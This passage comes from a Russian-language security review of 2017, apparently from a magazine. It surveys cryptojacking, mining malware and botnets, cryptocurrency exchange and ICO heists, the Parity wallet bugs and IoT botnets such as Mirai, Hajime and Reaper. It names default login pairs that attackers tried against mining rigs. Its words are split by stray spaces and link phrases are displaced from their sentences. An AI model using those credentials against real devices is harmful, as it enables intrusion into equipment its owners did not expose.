безопас ности Google  не  сумели  выявить,  что  прог раммы  запус кают май нер
в фоновом режиме, с помощью WebView. Третье при ложе ние и вов се обхо‐ 
дилось  без  это го,  но  исполь зовало  биб лиоте ку  CpuMiner,  то  есть  май нило
даже без откры тия бра узе ра.

Ис сле дова тели Trend Micro с тре вогой отме чают, что при ложе ниям не нуж‐ 
но  зап рашивать никаких допол нитель ных раз решений для  такой активнос ти,
а сама работа май нера может про воци ровать перег рев мобиль ного устрой‐ 
ства, зна читель но сок ращать «срок жиз ни» батареи и, разуме ется, ска зывать‐ 
ся на про изво дитель нос ти девай са.

Сто ит  заметить,  что  в  нас тоящее  вре мя  об  бра узер ного  май нин га
защища ют прак тичес ки все анти вирус ные про дук ты и бло киров щики рек ламы,
зап реща ющие работу скрип тов. Так же в Chrome Web Store мож но най ти спе‐ 
циаль ные «про тиво май нин говые» рас ширения, и поль зователь всег да может
самос тоятель но отклю чить JavaScript или уста новить соот ветс твен ные допол‐ 
нения для бра узе ра (к при меру, NoScript и ScriptBlock).

Стал кива ясь со все воз можны ми бло киров ками, прес тупни ки и вла дель цы
сай тов лишь ста ли при бегать к раз личным ухищ рени ям. К при меру, в нояб ре
и декаб ре 2017 года ИБ‐экспер ты обна ружи ли, что май неры научи лись мас‐ 
кировать  свою  деятель ность  и  теперь  скры вают ся  за  дис петче ром  тегов
Google,  интегри руют ся  в  популяр ные  вид жеты  «живых  чатов»  (онлайн‐кон‐ 
суль тан тов) и даже обна ружи вают ся в сос таве скрип тов, которые в соот ветс‐ 
твии с закона ми ЕС приз ваны информи ровать посети телей сай тов о том, что
ресурс исполь зует cookie.

К сожале нию, на этом «гон ка воору жений» опре делен но не закан чива ется.
Пока  спе циалис ты  по  информа цион ной  безопас ности  будут  пред лагать  все
новые спо собы бло киров ки бра узер ных май неров, вла дель цы подоб ных сер‐ 
висов  и  зло умыш ленни ки  про дол жат  при думы вать  новые  спо собы  обхо да
этих зап ретов, ведь крип товалю та по‐преж нему про дол жает дорожать.

Скры тые май неры и воры пов сюду
Ком про мета ция  поль зователь ских  бра узе ров  и  крип тодже кинг  —  это  лишь
одна сто рона медали. Еще в прош лом году экспер ты фик сирова ли уве рен ный
рост  все воз можной  мал вари  для  май нин га,  и  в  2017  году  эта  тен денция
не прос то сох ранилась, но про дол жила раз вивать ся.

Фун кции  добычи  крип товалю ты  или  похище ния  учет ных  дан ных  крип‐ 
товалют ных кошель ков мож но обна ружить едва ли не в каж дой вто рой угро зе.
Сог ласно  дан ным  «Лабора тории Кас пер ско го»,  если  в  2013  году  было  най‐ 
дено  все го  205  тысяч  атак  таких  вре доно сов,  то  за  пер вые  восемь
месяцев 2017 года их количес тво пре выси ло 1,65 мил лиона.

Уг розы для домаш них поль зовате лей
Осенью 2017 года спе циалис ты ком пании Trend Micro   новую вер‐ 
сию  извес тно го шиф роваль щика Cerber,  которая  не  толь ко шиф рует фай лы
жертв  и  вымога ет  у  пос тра дав ших  выкуп,  но  и  похища ет  крип товалю ту
и пароли от чужих кошель ков.

об наружи ли

Те перь извес тный вымога тель не сра зу прис тупа ет к шиф рованию фай лов
на  заражен ной  машине.  Вна чале  мал варь  ищет  приз наки  крип товалют ных
кошель ков Bitcoin Core, Electrum и Multibit и, если находит, похища ет свя зан‐ 
ные с при ложе ниями фай лы wallet.dat (Bitcoin), *.wallet (Multibit) и electrum.dat
(Electrum).  Конеч но,  эти  фай лы  сами  по  себе  не  поз волят  прес тупни кам
похитить  чужую  крип товалю ту,  еще  им  понадо бит ся  пароль  для  дос тупа
к кошель ку. Но ана лити ки Trend Micro отме чают, что авто ры мал вари, оче вид‐ 
но,  ищут  новые  спо собы  монети зации  сво его  «про дук та»,  и  сов сем  неуди‐ 
витель но, что они при этом обра тили вни мание на крип товалю ту.

Все  те  же  ана лити ки  Trend  Micro    и  о  появ лении  май нин‐ 
гового  тро яна  CoinMiner.  По  дан ным  спе циалис тов,  рас простра нение  мал‐ 
вари труд но оста новить или замед лить, так как вре донос исполь зует укра ден‐ 
ный  у  АНБ  экс пло ит  EternalBlue,  который  так же  при меня ли WannaCry  и Not‐
Petya,  и  инс тру мен тарий  WMI  (Windows  Management  Instrumentation),
как  неког да  делал  нашумев ший  вре донос  Stuxnet.  Более  того,  бла года ря
исполь зованию  скрип тов WMI  вре донос  не  оставля ет  поч ти  никаких  сле дов
в сис теме и работа ет в памяти устрой ства.

пре дуп редили

Еще одна ста рая и извес тная угро за, обза вед шаяся новой фун кци ональ‐ 
ностью, — это бан кер TrickBot. Ана лити ки ком пании Forcepoint  , что
новей шие  образцы  TrickBot  обла дают  инте рес ной  осо бен ностью.  В  фай ле
кон фигура ции мал вари появил ся раз дел, отве чающий за фишин говый овер‐ 
лей  для  стра ницы  вхо да  на  сайт  Coinbase.com.  Удив лять ся  не  при ходит ся,
ведь на сегод няшний день Coinbase — один из круп ней ших крип товалют ных
веб‐кошель ков в мире.

со общи ли

Ес ли  кого‐то  сму щает,  что  все  перечис ленные  выше  угро зы  нацеле ны
на поль зовате лей Windows, заметим, что летом 2017 года спе циалис ты ком‐ 
пании Symantec  ,  пос вящен ный самым замет ным угро зам
и событи ям июня.  Тог да одним из инте рес ных наб людений,  сде лан ных ана‐ 
лити ками,  стал  вне зап ный  рост  «популяр ности»  май нин говой  мал вари
для Mac.

пред ста вили отчет

Ока залось,  что  май нин говый  тро ян  DevilRobber  (он  же  Intego,  Miner‐D
и  OSX.Coinbitminer),  впер вые  обна ружен ный  еще  в  2011  году,  начал  стре‐ 
митель но  набирать  «популяр ность».  Если  в мае  2017  года  доля DevilRobber
сос тавля ла  все го  2,4%,  то  уже  в  июне  тро ян  про демонс три ровал  взрыв ной
рост и наб рал 21,6%, в ито ге заняв вто рое мес то в рей тин ге наибо лее рас‐ 
простра нен ных угроз для Mac.

Бот неты и кор поратив ный сег мент
Про дол жать  перечис ление  май нин говой  мал вари,  нацелен ной  на  прос тых
поль зовате лей, мож но очень дол го,  но общая идея  уже ясна. Поэто му пора
перей ти к сле дующе му «вит ку спи рали» — к май нин говым бот нетам. Бот неты,
чья  основная  цель — добыча  крип товалю ты,  появи лись  отнюдь  не  недав но,
но в 2017 году они зна читель но укре пили свои позиции.

«Толь ко  за  пос ледний  месяц  мы  обна ружи ли
нес коль ко  круп ных  бот‑сетей,  нап равлен ных
на  получе ние  при были  от  скры того  май нин га.
Мы  так же  отме чаем  рост  количес тва  попыток
уста нов ки  май неров  на  сер веры  орга низа- 
ций», — рас ска зыва ли экспер ты «Лабора тории
Кас пер ско го» в сен тябре 2017 года.

В  сво ем  отче те  спе циалис ты  «Лабора тории  Кас пер ско го»  ,  что
чаще все го для скры того май нин га  выбира ются Monero  (XMR) и Zcash. Обе
крип товалю ты  обла дают  свой ством  ано ним ности  тран закций,  что  игра ет
на  руку  зло умыш ленни кам.  По  самым  скром ным  оцен кам  иссле дова телей,
каж дая май нин говая сеть в сред нем при носит сво им вла дель цам до 30 тысяч
дол ларов в месяц.

со общи ли

На иллюс тра ции выше мож но уви деть кошелек такого май нин гового бот нета.
В  общей  слож ности  на  него  было  переве дено  2289  XMR,  что  на  момент
выхода отче та было экви вален тно 208 299 дол ларам США. При усло вии, что
обыч ный ста ционар ный компь ютер выда ет мощ ность 30–100 хешей в секун‐ 
ду, мож но под счи тать, что бот нет нас читыва ет приб лизитель но четыре тысячи
машин.

О  похожих  наб людени ях  писали  и  спе циалис ты  дру гих  ком паний.  Так,
в  мае  2017  года  ана лити ки  ком пании  GuardiCore  ,  сос‐ 
тоящий  из  15  тысяч  сер веров,  которые  исполь зуют ся  для  май нин га  крип‐ 
товалю ты и при носят сво ему опе рато ру око ло тысячи дол ларов в день.

об наружи ли  бот нет

Дан ный  бот нет  воз ник  еще  в  декаб ре  2016  года,  но  быс тро  раз росся
до 15 тысяч машин, работа ющих под управле нием Windows Server, из которых
при мер но две тысячи активны ежед невно. Спе циалис ты GuardiCore полага ют,
что опе ратор бот нета находит ся на тер ритории Китая и, судя по обна ружен‐ 
ным в коде ком мента риям, скры вает ся под псев донимом Bond007.01.

В  основном  Bond007.01  инте ресу ет  Monero,  но  так же  заражен ные  сер веры
май нили Bytecoin, Riecoin и Zcash. Быс трый рост бот нета экспер ты объ ясни ли
тем, что зло умыш ленник не жалел сил и вре мени на «раз витие» BondNet.

Bond007.01  полага ется  на  раз ные  тех ники,  ком биниру ет  раз личные  экс‐ 
пло иты и брут форс‐ата ки,  взла мывая  как сис темы с ненадеж ными учет ными
дан ными  RDP,  так  и  более  защищен ные  машины.  В  пос леднем  слу чае  зло‐ 
умыш ленник экс плу ати рует уяз вимос ти в phpMyAdmin, JBoss, Oracle Web Ap‐
plication Testing Suite, ElasticSearch, MS SQL, Apache Tomcat, Oracle Weblogic
и так далее.

По хожим  обра зом  дей ству ют  ,  о  котором
в  октябре  пре дуп редили  спе циалис ты  ком пании  ESET.  Ата кующие  заража ют
веб‐сер веры  май нером  крип товалю ты  Monero  (XMR),  и  опе рация  про дол‐ 
жает ся как минимум с мая 2017 года.

опе рато ры  дру гого  бот нета

Для  скры той  уста нов ки  май нера  на  веб‐сер веры  ата кующие  исполь зуют
CVE‐2017‐7269 — уяз вимость служ бы WebDAV в опе раци онной сис теме Win‐
dows Server  2003 R2,  най ден ную  в мар те  2017  года. Зло умыш ленни ки,  сто‐ 
ящие за дан ной кам пани ей, нез начитель но изме нили легитим ную и опен сор‐ 
сную  прог рамму  xmrig  для  добычи  Monero,  добавив  в  код  адрес  сво его
кошель ка  и  май нин говый  пул  URL  (вер сия  0.8.2,  пред став‐ 
ленная 26 мая 2017 года).

На момент выхода отче та ESET сеть ата кующих нас читыва ла нес коль ко сот
заражен ных  машин,  которые  добыва ли  поряд ка  5,5  XMR  в  день.  Ито говый
зарабо ток прес тупни ков за три месяца сос тавил 420 XMR. При кур се 150 дол‐ 
ларов за 1 XMR доход опе рато ров май нера рав нялся 825 дол ларам в день, то
есть сос тавил боль ше 63 тысяч дол ларов в общей слож ности.

Мож но  сме ло  ска зать,  что  рост  количес тва  атак  на  кор поратив ные  сети
с  целью  май нин га  крип товалют  в  этом  году  отме тили  прак тичес ки  все
ИБ‐ком пании. К при меру, по дан ным IBM X‐Force, чис ло таких атак 

 за пери од с янва ря по август 2017 года.
воз росло

в шесть раз
Спе циалис ты  IBM  пишут,  что  зло умыш ленни ки  активно  при меня ют  сте‐ 

ганог рафию, то есть пря чут вре донос ный код в фай лах изоб ражений, которые
затем  раз меща ют  на  заражен ных  сер верах  популяр ных  CMS  (WordPress,
Joomla,  JBoss  и  так  далее).  Для  пер вичной  ком про мета ции  сер веров  зло‐ 
умыш ленни ки при меня ют самые раз ные тех ники, «обширные наборы экс пло‐ 
итов» и CMDi (command injection).

Не пос редс твен но  для  май нин га  прес тупни ки  чаще  все го  исполь зуют
легитим ный инс тру мент Minerd или его Linux‐порт kworker. Так же сооб щает ся,
что  чаще  все го  ата кующих  инте ресу ют  вов се  не  Bitcoin  и  Ethereum,  а  крип‐ 
товалю ты, которые работа ют с про токо лом CryptoNote. В основном зло умыш‐ 
ленни ки  май нят  Monero,  но  так же  их  вни мание  прив лека ют  Bytecoin  (BCN),
Boolberry  (BBR), Dashcoin  (DSH), DigitalNote  (XDN), DarkNetCoin  (DNC),  Fan‐
tomcoin (FCN), Monero (XMR), Pebblecoin (XPB), Quazarcoin (QCN), Anonymous
Electronic On‐line Coin (AEON).

Проб лемы май нин говых устрой ств
Сле дует заос трить вни мание и на том, что домаш ние и кор поратив ные поль‐ 
зовате ли  зачас тую  ста новят ся  жер тва ми  прес тупни ков  из‐за  собс твен ной
халат ности. Выше уже неод нократ но говори лось о том, что для ком про мета‐ 
ции сер веров и поль зователь ских устрой ств зло умыш ленни ки экс плу ати руют
раз личные  извес тные  уяз вимос ти.  Но  кро ме  это го,  не  обхо дит ся  и  без
«излюблен ной» голов ной боли ИБ‐спе циалис тов — пло хих паролей, откры тых
пор тов и неп равиль но нас тро енных девай сов.

В  августе  2017  года  извес тный ИБ‐спе циалист  и  гла ва  орга низа ции GDI
Foundation  Вик тор  Геверс  (Victor  Gevers)  рас ска зал  о  не  сов сем  обыч ной
наход ке. Он   2893 устрой ства для май нин га Bitcoin, которые
были дос тупны кому угод но пос редс твом Telnet. Пароль не тре бовал ся.

об наружил в Сети

Все  «аси ки»  (от  англий ско го  ASIC,  application‐specific  integrated  circuit)
работа ли с одним пулом и, похоже, при над лежали одной ком пании‐вла дель‐ 
цу,  которая,  судя  по  IP‐адре сам,  была  каким‐то  обра зом  свя зана  с  пра‐ 
витель ством  Китая.  Спе циалист  пред положил,  что  нашел  целый  «парк»
устрой ств ZeusMiner THUNDER X3.

Ге верс наб людал за про исхо дящим два дня и уже собирал ся попытать ся вый‐ 
ти  на  связь  с  неиз вес тным  вла дель цем  «шах ты»,  но  это  не  пот ребова лось.
Похоже,  пос ле  тви та  Гевер са о  проб леме  кто‐то  уве домил  хозя ев  уяз вимых
устрой ств о про исхо дящем, и поч ти все они «про пали с радаров» спе циалис‐ 
та и перес тали быть дос тупны пос редс твом Telnet.

В нояб ре 2017 года очень похожую проб лему замети ли спе циалис ты ком‐ 
пании Bitdefender. Им уда лось  ,  нап равлен ную про тив обо‐ 
рудо вания  для май нин га,  работа юще го  под  управле нием ethOS.  Ата кующие
мас сово ска ниро вали интернет в поис ках таких май неров, а затем пытались
исполь зовать  учет ные  дан ные  SSH  по  умол чанию.  Если  им  уда валось
получить дос туп к сис теме, они поп росту под меняли адрес Ethereum‐кошель‐ 
ка вла дель ца собс твен ным.

об наружить ата ку

Ус танов ленные  спе циалис тами  ханипо ты  зафик сирова ли,  что  зло умыш‐ 
ленни ки пыта ются исполь зовать для получе ния дос тупа к обо рудо ванию два
сочета ния  логина и  пароля:  ethos:live  и  root:live. Бег лый поиск  в Сети помог
опре делить,  что  эти  учет ные  дан ные  исполь зуют ся  по  умол чанию  в  дис три‐ 
бути ве  ethOS,  который  пред назна чен  для  уста нов ки  на  GPU‐май неры,
добыва ющие Ethereum, Zcash, Monero и так далее.

Взло мы, кра жи и неудав шиеся ICO
Ра зуме ется, инте рес прес тупни ков к крип товалю там не огра ничи вает ся толь‐ 
ко скры тым май нин гом и написа нием новой мал вари. В 2017 году мно жес тво
ком паний, обменни ков и дру гих сер висов пос тра дали от пря мых атак со сто‐ 
роны зло умыш ленни ков, в резуль тате лишив шись огромных сумм. Вспом ним
наибо лее круп ные крип товалют ные ограбле ния года.

Нас тоящей  чередой  взло мов  озна мено вал ся  июль  2017  года.  Пер вым
от хакер ской ата ки в начале месяца   — кошелек
для  крип товалю ты Ethereum Classic  (ETC). Прес тупни ки  при мени ли  соци аль‐ 
ную инже нерию и сумели ввес ти в заб лужде ние сот рудни ков хос тинг‐про вай‐ 
дера 1on1, выдав себя за нас тоящих вла дель цев домена про екта. Перех ватив
кон троль над доменом, неиз вес тные незамед литель но перенап равили поль‐ 
зовате лей на свой сер вер, в резуль тате чего чужие день ги осе дали в их «кар‐ 
манах».

пос тра дал Classic Ether Wallet

Ког да поль зовате ли поняли, что про исхо дит, под нялась паника, даже пос‐ 
тупали пред ложения устро ить DDoS‐ата ку на домен Classic Ether Wallet, что бы
увес ти его в офлайн, так как это казалось наибо лее быс трым спо собом оста‐ 
новить  деятель ность  зло умыш ленни ков.  К  счастью,  идти  на  такие  край ние
меры не приш лось:  уже  через нес коль ко  часов адми нис тра ция Classic Ether
Wallet, при под дер жке ИБ‐экспер тов, сумела убе дить спе циалис тов ком пании
Cloudflare внес ти домен в чер ный спи сок, что и спас ло ситу ацию.

На  Reddit  пос тра дав шие  поль зовате ли  подели лись  рядом  ETC‐адре сов,
на  которые  в  ито ге  попали  их  средс тва.  Уда лось  под счи тать,  что  сум марно
зло умыш ленни ки  успе ли  похитить  поряд ка  300  тысяч  дол ларов США в  ETC‐
экви вален те.

Вто рой   южно корей ская крип товалют ная
бир жа Bithumb, чет вертая по величи не в мире. Еще в кон це июня поль зовате‐ 
ли  бир жи  замети ли,  что  с  их  сче тов  начали  про падать  круп ные  сум мы  (в
основном Bitcoin и Ethereum). В пер вых чис лах июля адми нис тра ция сер виса
под твер дила, что про исхо дящее — пос ледс твия хакер ской ата ки.

жер твой зло умыш ленни ков ста ла

Пред ста вите ли  Bithumb  рас ска зали  СМИ,  что  неиз вес тные  зло умыш‐ 
ленни ки сумели ском про мети ровать компь ютер одно го из сот рудни ков бир‐ 
жи, пос ле чего получи ли дос туп к информа ции о 31 800 поль зовате лях ресур‐ 
са (поряд ка 3% от всей поль зователь ской базы). В резуль тате прес тупни кам
уда лось похитить докумен ты, содер жащие име на поль зовате лей, email‐адре‐ 
са  и  номера  мобиль ных  телефо нов.  При  этом  оста лось  не  сов сем  ясным,
как  имен но  зло умыш ленни ки  получи ли  дос туп  к  акка унтам  сво их  жертв
и сумели похитить денеж ные средс тва. Судя по все му, в дело пош ла соци аль‐ 
ная инже нерия, осно ван ная на укра ден ных дан ных.

Треть им  пос тра дав шим  сер висом  стал  изра иль ский  стар тап  CoinDash,
который был взло ман в ходе про веде ния ICO (Initial Coin Offering, пер вично го
раз мещения  токенов).  ICO явля ется сво еоб разным ана логом  IPO. Пос редс‐ 
твом  ICO  стар тапы,  по  сути,  прив лека ют  финан сирова ние:  за  Bitcoin,
Ethereum  и  дру гую  крип товалю ту  инвесто ры  покупа ют  у  ком пании  токены,
которые могут исполь зовать ся для пос леду ющей опла ты услуг. Для ком пании
это  «живые»  день ги,  а  для  инвесто ров,  воз можно,  неп лохое  вло жение,  так
как со вре менем токены име ют свой ство при бав лять в цене.

К  сожале нию,  ICO  CoinDash  прак тичес ки  сра зу  .
Дело  в  том,  что  через  три  минуты  пос ле  раз мещения  токенов  неиз вес тные
зло умыш ленни ки  ском про мети рова ли  сайт  CoinDash  и  под менили  адрес
офи циаль ного Ethereum‐кошель ка собс твен ным.

обер нулось  про валом

Хо тя  взлом  обна ружи ли  быс тро  и  раз работ чики  CoinDash  немед ленно
оста нови ли ICO (которое дол жно было длить ся 28 дней), уве ли сайт в офлайн
и пре дуп редили поль зовате лей об ата ке через офи циаль ный твит тер и канал
Slack, было уже поз дно. Дело в  том, что  толь ко за пер вые пять минут пос ле
взло ма на кошелек хакеров переве ли более 6 мил лионов дол ларов. В ито ге
зло умыш ленни ки  «зарабо тали»  43  488  Ethereum  (8,3  мил лиона  дол ларов
по кур су на тот момент).

Ред кий  слу чай,  но  эта  исто рия  име ет  поч ти  хороший  конец.  Спус тя  два
месяца пос ле инци ден та пред ста вите ли CoinDash неожи дан но сооб щили, что
зло умыш ленни ки вер нули на один из кошель ков ком пании 10 000 ETH, то есть
поч ти  3  мил лиона  дол ларов  по  кур су  на  тот  момент.  Что  имен но  тол кну ло
хакеров  на  этот  шаг,  неиз вес тно.  Руково дите ли  CoinDash  под чер кну ли,  что
прес тупни ки не выходи ли с ними на связь и не делали никаких офи циаль ных
заяв лений, поэто му об их мотивах оста ется лишь догады вать ся.

Чет вертый взлом был очень похож на про изо шед шее с CoinDash: во вре мя
ICO  плат форму  Veritaseum  .  Хотя  количес тво
похищен ных  токенов  ока залось  «нич тожным»  (все го  0,07%),  в  дол ларовом
экви вален те ограбле ние все же выг лядело вну шитель но. Так, осно ватель Veri‐
taseum Рег ги Мидд лтон (Reggie Middleton) сооб щил, что на про даже токенов
зло умыш ленни ки «зарабо тали» 8,4 мил лиона дол ларов. Изна чаль но средс тва
осе ли  на  двух  Ethereum‐кошель ках,  но  вско ре  были  переве дены  на  дру гие
акка унты, так как взлом щики начали отмы вать похищен ное.

взло мали  неиз вес тные  лица

К  счастью  для  поль зовате лей,  укра ден ные  токены  при над лежали  самой
Veritaseum, то есть поль зовате ли не понес ли никаких финан совых потерь и не
воз никло необ ходимос ти выкупать токены обратно.

Пя тым инци ден том ста ла  ,  которая
при вела  к  хищению 30 мил лионов дол ларов. Неиз вес тные  вос поль зовались
багом в кон трак те с муль типод писью, который поз волял им похищать средс‐ 
тва из чужих кошель ков. В резуль тате дей ствий хакеров пос тра дали все поль‐ 
зовате ли, имев шие дело с кошель ками с муль типод писью, соз данны ми рань‐ 
ше 19 июля 2017 года. В кар манах прес тупни ков осе ло 153 000 ETH, то есть
поряд ка 30 мил лионов дол ларов на тот момент.

уяз вимость в Ethereum‐кошель ке Parity

Ата ка про изош ла 19 июля 2017 года и была прак тичес ки сра зу замече на
раз работ чиками.  Так же  помогать  пос тра дав шим опе ратив но  взя лась  груп па
энту зиас тов,  называ ющих  себя  The White Hat Group. В  сос тав  The White Hat
Group вош ли ИБ‐экспер ты и чле ны Ethereum Project. Вос поль зовав шись тем
же  экс пло итом,  что  и  зло умыш ленни ки,  ИБ‐спе циалис ты  начали  спа сать
день ги  поль зовате лей,  перево дя  их  на  не  под вержен ный  багу  кошелек.
В резуль тате  в руках  груп пы ока залось 377 105 ETH,  то есть более 85 мил‐ 
лионов дол ларов, которые white hat’ы начали воз вра щать закон ным вла дель‐ 
цам пос ле устра нения бага.

Раз работ чики Parity сооб щили, что сум марно нас читыва лось 596 уяз вимых
кошель ков и основной удар зло умыш ленни ков при шел ся на три из них (к при‐ 
меру, о кра же 82 000 ETH заяви ли раз работ чики про екта Aeternity). Сог ласно
офи циаль ным  дан ным,  воз можность  экс плу ата ции  бага  была  бла гопо луч но
зак рыта.  Раз работ чики  изви нились  за  слу чив шееся  и  обе щали  запус тить
собс твен ную  bug  bounty  прог рамму,  что бы  впредь  не  допус кать  подоб ных
оши бок.

Увы, сдер жать это обе щание коман да стар тапа в ито ге не сумела. В нояб‐ 
ре  2017‐го  раз работ чики  опуб ликова ли  в  бло ге  пре дуп режде ние,  сооб‐ 
щавшее, что в биб лиоте ке, отве чающей за работу смарт‐кон трак та, который
исполь зуют  кошель ки  с  муль типод писью,  был  обна ружен  кри тичес кий  баг.
Уяз вимость поз воляла прев ратить проб лемную биб лиоте ку/кон тракт в обыч‐ 
ный кошелек с муль типод писью, а затем стать его вла дель цем, задей ство вав
фун кцию initWallet. Имен но это про делал нек то, извес тный под псев донимом
Devops199.

Слу чай но (?) обна ружив баг и получив пол ный кон троль, Devops199 отдал
коман ду  на  само унич тожение  кон трак та,  что  вывело  из  строя  мно жес тво
кошель ков с муль типод писью, а все средс тва на них ока зались бло киро ваны.
Поз же Devops199 уве рял, что не осоз навал пос ледс твия сво их дей ствий, так
как он новичок в области крип товалют вооб ще и Ethereum в час тнос ти.

Как  ока залось,  к  появ лению  фаталь ной  ошиб ки  в  коде  при вели  лет ние
изме нения, сде лан ные нас пех пос ле опи сан ной ата ки. Хотя изна чаль но сооб‐ 
щалось, что дей ствия Devops199 при вели к «замороз ке» 300 мил лионов дол‐ 
ларов,  сог ласно  опуб ликован ному  коман дой  Parity  отче ту  пос тра‐ 
дали  587  кошель ков  и  заб локиро ван ными  ока зались  средс тва  в  раз‐ 
мере 513 774 ETH (поряд ка 160 мил лионов дол ларов по кур су на тот пери од).

Раз работ чики  приз нали,  что  поль зователь  GitHub,  извес тный
под ником 3esmit, пре дуп реждал ком панию о проб леме еще минув шим летом
и даже пред лагал спо собы ее исправ ления. Пред ста вите ли Parity уве ряют, что
вос при няли пред ложение поль зовате ля со всей серь езностью и оце нили его
по  дос тоинс тву,  яко бы  в  будущем  Parity  дол жен  был  получить  соот ветс тву‐ 
ющий апдейт, одна ко написать и выпус тить его раз работ чики не успе ли. De‐
vops199 нашел баг рань ше.

Соз датели Parity до сих пор не при дума ли, как «выз волить» пос тра дав шие
средс тва  поль зовате лей. Судя  по  все му,  наибо лее  веро ятны ми  вари анта ми
решения проб лемы оста ются хар дфорк и  .EIP15

→ Раз работ чики Bitcoin Gold (BTG) пре дуп редили поль зовате лей о воз‐ 
можной  бре ши  в  безопас ности.  Неиз вес тные  лица  под менили  уста‐ 
нов щик  Windows‐кошель ка,  ссыл ка  на  который  была  опуб ликова на
на  офи циаль ном  сай те,  «подоз ритель ными  фай лами  неиз вес тно го
про исхожде ния»

→ Ру ково дите ли  крип товалют ного  стар тапа  Tether  сооб щили,
что 19 нояб ря 2017 года неиз вес тный зло умыш ленник похитил у ком‐ 
пании 30 950 010 дол ларов в USDT

→ Гол ланд скую  бир жу  LiteBit.eu  дваж ды  ата кова ли  зло умыш ленни ки.
В обо их слу чаях у поль зовате лей ресур са не были похище ны денеж‐ 
ные  средс тва,  одна ко  взлом щикам  уда лось  зав ладеть  их  лич ными
дан ными

→ Стар тап Confido рек ламиро вал себя как удоб ное блок чейн‐при ложе‐ 
ние  для  осу щест вле ния  пла тежей  и  отсле жива ния  пос тавок.  Confido
про вел  пер вичное  раз мещение  токенов,  в  ходе  которо го  уда лось
соб рать  374  тысячи  дол ларов.  Что  теперь  делать  инвесто рам  стар‐ 
тапа, не сов сем ясно, так как Confido ока зал ся обыч ной афе рой и его
руководс тво скры лось со все ми соб ранны ми день гами



ИНТЕРНЕТ (ДЫРЯВЫХ)
ВЕЩЕЙ
В  прош лом  году  немалая  часть  нашего  ито гово го  отче та 
небезо пас ности  интерне та  вещей  (Internet  of  things,  IoT).  К  сожале нию,  год
спус тя  мы  не  можем  сооб щить  о  сколь‐нибудь  замет ных  изме нени ях  к  луч‐ 
шему в дан ной области.

бы ла  пос вящена

Мир по‐преж нему стра дает от  кло нов вре доно са Mirai и мно гочис ленных
бот нетов.  Про изво дите ли  по‐преж нему  счи тают  нор маль ным  выпус кать
на рынок устрой ства с жес тко закоди рован ными учет ными дан ными admin:ad‐
min. Лич ные дан ные поль зовате лей регуляр но ока зыва ются под угро зой из‐за
дет ских игру шек, «умных» плит, холодиль ников, виб раторов и мно жес тва дру‐ 
гих устрой ств. На наших гла зах в жизнь воп лоща ются худ шие прог нозы ана‐ 
лити ков, которые дав но пред река ют, что проб лемы будут толь ко рас ти вмес те
с мас совостью IoT.

Бот неты
В 2016 году появ ление вре доно са Mirai озна мено вало собой новую эру. Ста‐ 
ло ясно, что интернет вещей уже наб рал кри тичес кую мас су и теперь с бот‐ 
нетами, сос тоящи ми из камер, роуте ров, телеви зоров и про чих IoT‐гад жетов,
при дет ся счи тать ся.

Так  как  осенью  2016  года  исходные  коды  Mirai  были 
, все жела ющие получи ли воз можность соз дать собс твен‐ 

ный бот нет и раз работать свою вер сию вре доно са. Хотя авто ры ори гиналь‐ 
ной  вер сии  Mirai  в  нас тоящее  вре мя    и  понесут
наказа ние за соде янное, мож но без пре уве личе ния ска зать, что пло ды это го
рас кры тия  исходни ков  ИБ‐спе циалис там  при дет ся  унич тожать  еще  дол го.
Ведь имен но пос ле пуб ликации исходных кодов появи лось мно жес тво кло нов
Mirai,  под ражате лей  и  пос ледова телей.  Ниже  соб раны  нес коль ко  наибо лее
ярких при меров.

опуб ликова ны
в откры том дос тупе

на ходят ся  под  следс тви ем

В мар те 2017 года спе циалис ты Imperva Incapsula   о появ лении
нового бот нета, исполь зующе го весь ма стран ную вер сию тро яна Mirai. Ранее
все вер сии вре доно са объ еди нял сво еоб разный «общий зна мена тель» — все
они при меня ли для орга низа ции DDoS‐атак network  layer. Но иссле дова тели
обна ружи ли  бот нет,  устро ивший  затяж ную  application  layer  ата ку  на  неназ‐ 
ванное учеб ное заведе ние.

рас ска зали

Ата ка началась 28 фев раля и дли лась 54 часа без переры вов. Целью неиз‐ 
вес тных  стал  аме рикан ский  кол ледж,  и  сред няя  мощ ность  ата ки  сос тавля‐ 
ла  30  тысяч  зап росов  в  секун ду,  тог да  как  пиковая  мощ ность  дос‐ 
тигала  37  тысяч  зап росов.  Сум марно  за  два  с  полови ной  дня  Mirai‐бот нет
сге нери ровал  2,8 мил лиар да  зап росов.  Ана лити кам  уда лось  зафик сировать
активность 9793 IP‐адре сов в самых раз ных угол ках мира.

Hajime  —  еще  один  бот нет,  за  которым  спе циалис ты  наб люда ют  с  кон‐ 
ца 2016 года. Hajime   боль ше дру гих вре доно сов:
это  сво еоб разная  «тем ная  лошад ка»  сре ди  IoT‐мал вари —  его  пред назна‐ 
чение до сих пор неяс но.

ин тересу ет иссле дова телей

Ана лити ки Symantec полага ют, что мал варь мог соз дать неиз вес тный white
hat,  который  вооб ще  не  имел  никаких  дур ных  намере ний.  Эта  теория  под‐ 
креп ляет ся тем фак том, что пос ле зараже ния вре донос бло киру ет пор ты 23,
7547, 5555 и 5358, которые чаще все го ата кует дру гая мал варь, вклю чая Mirai.
При  этом  Hajime  не  име ет  фун кций,  поз воля ющих  осу щест влять  ата ки,
и содер жит толь ко модуль, отве чающий за рас простра нение.

Спе циалис ты  «Лабора тории  Кас пер ско го»,  которые  так же  наб люда ют
за угро зой, под счи тали, что под кон тро лем Hajime находят ся поч ти 300 тысяч
гад жетов  по  все му  миру,  тог да  как  иссле дова тели  Symantec  писали  лишь
о 10 тысячах заражен ных устрой ств.

В нояб ре 2017 года Qihoo 360 Netlab и ком пания Check Point не на шут ку
напуга ли  мировое  ИБ‐сооб щес тво, 

,  которо му  пред рекли  «сла ву»  Mirai.  Бот нет  получил  наз вание
Reaper, и сооб щалось, что в его сос тав уже вхо дит более мил лиона «умных»
устрой ств.

про информи ровав  о  появ лении  нового
IoT‐бот нета

Мал варь  рас простра няет ся  через  экс плу ата цию  раз личных  уяз вимос тей
в  устрой ствах  D‐Link,  TP‐Link,  Avtech,  Netgear,  MikroTik,  Linksys  и  Synology.
Имен но  это  отли чает  Reaper  от  дру гих  IoT‐бот нетов,  которые,  как  пра вило,
полага ются  на  прос тые  Telnet‐ска неры  и  спис ки  учет ных  дан ных  по  умол‐ 
чанию, как делал Mirai.

Ана лити ки  ком пании  Arbor  Networks 
,  в  котором  не  во  всем  раз делили  мне ние  кол лег.  Так,

по дан ным иссле дова телей, реаль ное чис ло ботов Reaper не пре выша ет 10–
